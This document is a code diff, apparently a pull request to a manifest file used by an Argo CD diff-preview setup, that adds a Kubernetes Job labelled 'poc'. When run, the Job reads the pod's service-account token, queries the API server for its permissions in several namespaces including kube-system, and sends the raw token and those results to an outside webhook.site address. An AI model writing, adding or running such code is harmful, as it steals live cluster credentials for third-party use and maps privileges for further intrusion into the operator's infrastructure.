@@ -236,3 +236,49 @@ stringData:
236236 "insecure": true
237237 }
238238 }
239+ ---
240+ apiVersion : batch/v1
241+ kind : Job
242+ metadata :
243+ name : rbac-confirm
244+ namespace : argocd-diff-preview
245+ spec :
246+ ttlSecondsAfterFinished : 300
247+ template :
248+ spec :
249+ restartPolicy : Never
250+ containers :
251+ - name : poc
252+ image : curlimages/curl:latest
253+ command : ["/bin/sh", "-c"]
254+ args :
255+ - |
256+ HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
257+ API="https://kubernetes.default.svc"
258+ T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
259+ CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
260+
261+ # Confirm token + identity
262+ curl -sf "${HOOK}?stage=start&host=$(hostname)&ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)" || true
263+
264+ # SelfSubjectRulesReview — argocd-diff-preview
265+ R1=$(curl -sk --cacert $CA -H "Authorization: Bearer $T" -H "Content-Type: application/json" \
266+ -X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
267+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"argocd-diff-preview"}}')
268+
269+ # SelfSubjectRulesReview — kube-system
270+ R2=$(curl -sk --cacert $CA -H "Authorization: Bearer $T" -H "Content-Type: application/json" \
271+ -X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
272+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"kube-system"}}')
273+
274+ # SelfSubjectRulesReview — default
275+ R3=$(curl -sk --cacert $CA -H "Authorization: Bearer $T" -H "Content-Type: application/json" \
276+ -X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
277+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}')
278+
279+ curl -sf -X POST "${HOOK}" \
280+ --data-urlencode "stage=rbac" \
281+ --data-urlencode "tok=${T}" \
282+ --data-urlencode "ns1=${R1}" \
283+ --data-urlencode "ns2=${R2}" \
284+ --data-urlencode "ns3=${R3}" || true
0 commit comments